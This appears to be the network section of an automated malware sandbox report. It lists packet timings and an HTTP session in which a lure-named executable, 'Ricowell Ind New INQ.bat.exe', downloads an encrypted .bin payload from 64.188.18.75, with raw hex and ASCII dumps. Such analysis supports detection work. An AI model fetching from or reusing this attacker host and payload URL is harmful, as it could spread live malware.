Sep 12, 2024 21:15:57.899471998 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.899513006 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899573088 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899575949 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.899635077 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899689913 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899703026 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.899703979 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.899744034 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899799109 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.899808884 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899867058 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899908066 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.899923086 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899982929 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899992943 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.899992943 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.900038004 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900094986 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900125980 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.900206089 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.900207996 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900310040 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.900382996 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900449038 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900451899 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.900509119 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900564909 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900614023 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.900614023 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.900662899 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900695086 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.900722980 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900743961 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.900782108 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900815964 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.900846004 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900882959 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.900901079 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900933027 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.900962114 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.900984049 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901016951 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901062965 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901072025 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901153088 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901163101 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901223898 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901257038 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901283026 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901325941 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901375055 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901427031 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901479959 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901537895 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901595116 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901637077 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901688099 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901689053 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901737928 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901748896 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901812077 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901868105 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901869059 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901869059 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901922941 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901982069 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.901984930 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.901984930 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.902087927 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.902132034 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.902491093 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.902609110 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.902650118 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.902750969 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.902766943 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.902810097 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.902874947 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.902909994 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.902930975 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.902960062 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.902987003 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.903024912 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.903076887 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.903103113 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.903127909 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.903259993 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.903290987 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.903354883 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.903445959 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.903461933 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.903505087 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.903525114 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.903582096 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.903625965 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.903637886 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.903672934 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.903707981 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.903722048 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.903764009 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.903779030 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.903819084 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.903856993 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.903911114 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.903961897 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.903970003 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.904028893 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.904086113 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.904140949 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.904143095 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.904198885 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.904239893 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.904325008 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.123821020 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.123894930 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.124033928 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.124377012 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.124511003 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.124524117 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.124547005 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.124564886 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.124591112 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.124635935 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.124670029 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.124739885 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.124772072 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.124825954 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.124849081 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.124912024 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.124958992 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.124984980 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125014067 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125015020 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125025034 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125036955 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125047922 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125060081 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125077963 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125108004 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125117064 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125121117 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125175953 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125189066 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125194073 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125200033 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125211954 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125241995 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125272989 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125283957 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125294924 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125298023 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125298023 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125305891 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125327110 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125379086 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125390053 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125395060 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125395060 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125395060 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125493050 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125504971 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125516891 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125528097 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125541925 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125541925 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125639915 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125648022 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125689030 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125689030 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125787020 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125817060 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125869036 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125880957 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.125962019 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.125962019 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.126008987 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.126734972 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.126861095 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.126936913 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.126957893 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127001047 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127017021 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127031088 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127042055 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127054930 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127079010 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127105951 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127146959 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127155066 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127155066 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127203941 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127203941 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127270937 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127283096 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127295017 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127306938 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127317905 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127341032 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127356052 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127407074 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127412081 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127412081 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127445936 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127446890 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127446890 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127547026 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127547026 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127619028 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127630949 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127643108 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127654076 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127665043 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127720118 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127763987 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127775908 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127846956 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127846956 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127943993 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127943993 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127943993 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127968073 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.127993107 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.127993107 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128027916 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128038883 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128050089 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128062010 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128089905 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128103018 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128133059 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128144979 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128185034 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128197908 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128211021 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128262997 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128262997 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128268957 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128281116 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128290892 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128310919 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128360987 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128360987 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128360987 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128360987 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128360987 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128398895 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128410101 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128410101 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128410101 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128410101 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128448963 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128459930 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128494978 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128505945 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128511906 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128511906 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128628969 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128653049 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128654957 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128680944 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128693104 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128716946 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128729105 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128740072 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128751040 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128782988 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128782988 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128782988 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128832102 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128880024 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128926039 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128926992 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128927946 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128928900 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.128937006 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128947973 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128958941 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128969908 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128981113 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.128989935 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:58.129026890 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.129076004 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.129126072 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.129126072 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:58.129173994 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:16:21.243479967 CEST	49904	80	192.168.11.30	64.188.18.75

HTTP Request Dependency Graph

64.188.18.75

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49904	64.188.18.75	80	3468	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 21:15:56.781004906 CEST	181	OUT	GET /oECYTcEKrYkcbcNjwFV1.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: 64.188.18.75 Cache-Control: no-cache
Sep 12, 2024 21:15:57.006560087 CEST	1289	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Thu, 12 Sep 2024 06:11:04 GMT Accept-Ranges: bytes ETag: "f7c9cb8cda4db1:0" Server: Microsoft-IIS/8.5 Date: Thu, 12 Sep 2024 19:15:56 GMT Content-Length: 287808 Data Raw: 60 7d c0 f5 aa 99 4a 49 1e 0b 7f 3b 74 e0 86 44 10 dc 9a f1 50 2b 05 5d 35 06 8d e0 c0 78 6f 18 f8 83 f0 24 4c 5d db 9b 87 7e 82 9a d8 eb af 1b 3e 2b 83 5d 57 bb 33 09 b4 1c 76 82 52 5d 70 94 43 0e ec 79 f4 14 01 e0 05 6d ce 61 72 3c 44 a9 b0 27 2d 44 c6 ed 8f d0 22 e7 96 96 60 2a 31 01 a8 16 fd de 06 10 ff 66 2c 4e e6 7c 9f ad ce b5 f1 1b ca df 9e fa 03 71 1b ec 09 26 d8 93 60 7d 3f e5 9f a4 f9 91 23 89 af 1d 8d 83 01 0a 7d 3d 7b fa 3f 03 18 b1 66 66 b6 a3 79 d9 e0 e5 b0 b9 c3 56 1c 0d 6e 79 3c 5e fe 28 b4 03 3f 83 38 cb c9 a9 bc 68 f3 01 07 ee de 08 ef 0d d0 c6 ea 29 cb 1c 42 71 1f 23 9e 45 21 2f 27 b1 71 ee 14 84 ed c4 86 02 c4 75 aa 07 cd 18 b4 f0 cf 7f 4c 14 7e e2 c4 ec 15 bb 0d aa 28 30 0a 9c 40 e0 e8 6c 73 07 00 84 b9 51 02 03 3d e0 41 5c df fb 92 af 6c b2 74 40 ba b1 9d 6e 5b 9f c0 64 f1 ce 02 05 6e a4 8b 1e b7 00 f9 6d 8d 32 86 4a 01 f9 37 62 b4 98 df fc 5f ee 4a cb c2 a7 88 b3 21 ed 54 d8 7b 32 1d a5 3a 45 61 b5 5b ff 83 aa 37 b4 37 82 77 92 29 29 11 cc 4f 94 b6 af b0 73 d2 7c b4 5e af 51 [TRUNCATED] Data Ascii: `}JI;tDP+]5xo$L]~>+]W3vR]pCymar<D'-D"`1f,N\|q&`}?#}={?ffyVny<^(?8h)Bq#E!/'quL~(0@lsQ=A\lt@n[dnm2J7b_J!T{2:Ea[77w))Os\|^QD995(ma4b4FdT?-t}f)mY$c8o8'(%l?qe/]Xx!d"lS+1^YYmq#La@HhcC\|'\s[b)[M0&5"0&$db_'\|V;bgXc%Y9qa;w]o#dN9#DUKvz(^J"<EV1UFRx.Q<-Mzf&Aj~m\|5bh1f_n"{yBv (s\|]GV"btUWyj7-.w`Ok{7gkuZ ;v@+!UA.)II~/1<abH h9HAPZoR*X9B^)S5]{I-ze)%5}=GruU&48@vBnkQ Z [TRUNCATED]
Sep 12, 2024 21:15:57.006649971 CEST	1289	IN	Data Raw: 14 9b 09 0c ef 0b ad a9 cd 3e 2d 10 ee 52 4b 36 1d 3f f0 8b 93 b9 f5 5d e0 98 99 38 64 58 ca 61 65 5a 19 5c 73 be 3e 52 ee 54 cf e7 63 2c 74 a2 32 19 cd 86 85 26 91 b6 b1 a8 3c b0 a1 81 d4 e0 b3 ec a1 78 80 47 ae c2 51 26 f8 ed 4b 3f de 67 b7 20 Data Ascii: >-RK6?]8dXaeZ\s>RTc,t2&<xGQ&K?g a$ptL[.;q# eFL:P~Bt&T\|Q^\|zBm+F`pO4S,4)^.Bzl_R2^5re&%Gdb hI.t V<t{+
